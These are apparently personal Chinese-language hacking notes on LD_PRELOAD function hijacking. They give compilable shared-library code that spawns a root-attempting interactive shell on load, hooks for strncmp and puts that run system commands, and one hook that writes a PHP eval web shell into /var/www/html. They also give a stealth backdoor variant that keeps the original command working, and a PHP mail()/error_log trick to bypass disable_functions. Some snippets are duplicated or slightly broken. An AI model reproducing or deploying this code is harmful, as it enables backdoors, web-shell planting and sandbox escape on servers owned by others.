用命令readelf -Ws /usr/bin/ls看linux命令中执行了调用了哪些函数,然后再劫持这些函数
可能实现中有,但是执行时没用到, 所以多劫持几个试试
ls —> strncmp
whoami —> puts
man 1/2/3 strncmp 可以看到函数定义
编译 gcc -shared -fPIC -o test.so test.c
.so 文件加载触发
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -i");
}
.so 文件加载触发
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
__attribute__ ((__constructor__)) void preload (void){
unsetenv("LD_PRELOAD");
setuid(0);
setgid(0);
system("/bin/bash -i");
}
防止无穷递归
int strncmp(const char *s1, const char *s2, size_t n){
if(getenv("LD_PRELOAD") == NULL){
return 0;
}
unsetenv("LD_PRELOAD");
system("ls");
return 0;
}
奇怪的错误
报segmentation fault
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {
system("/bin/bash -i ...")
printf("hacked!!!"); // printf("hacked!!!\n"); 报错!!
return 0;
}
// ----------- or -----
#include <stdio.h>
#include <stdlib.h>
int puts(const char *message) {
printf("hack you!!!");
system("echo '<?php @eval($_POST[0]);?>' > /var/www/html/gxngxngxn.php");
return 0;
}
去掉\n后又可以了
(神奇的gpt告诉我是因为printf中调用了puts, 所以递归爆栈了, \n与刷新缓冲区有关… 管他呢)
getenv也会调用puts,所以用上面的方法也不行
可以用static int flag作为标记,防止递归调用, 见下例
隐匿后门
#include <dlfcn.h>
#include <stdio.h>
#define _GNU_SOURCE
int puts(const char *s) {
int (*original_puts)(const char *) = dlsym(RTLD_NEXT, "puts");
int result = original_puts(s);
static int in_hook = 0;
if (in_hook) { // 防止递归调用
return result;
}
in_hook = 1;
printf("puts hooked!\n");
system("ls");
in_hook = 0;
return result;
}
可以使得原来的命令正常执行,用于后门隐匿
突破disable_function
disable_function只在当前进程生效 mail 或 error_log, ImageMagick函数产生一个新进程, 并执行了getuid函数 劫持getuid函数 或 采用加载触发即可
<?php
putenv("LD_PRELOAD=/var/www/html/test.so");
mail('','','','');
// error_log('',1)
// mb_send_mail('','','')
// imap_mail("1@a.com","0","1","2","3")
使用GCONV_PATH与iconv进行bypass disable_functions
这个同样可以bypass https://xz.aliyun.com/news/8262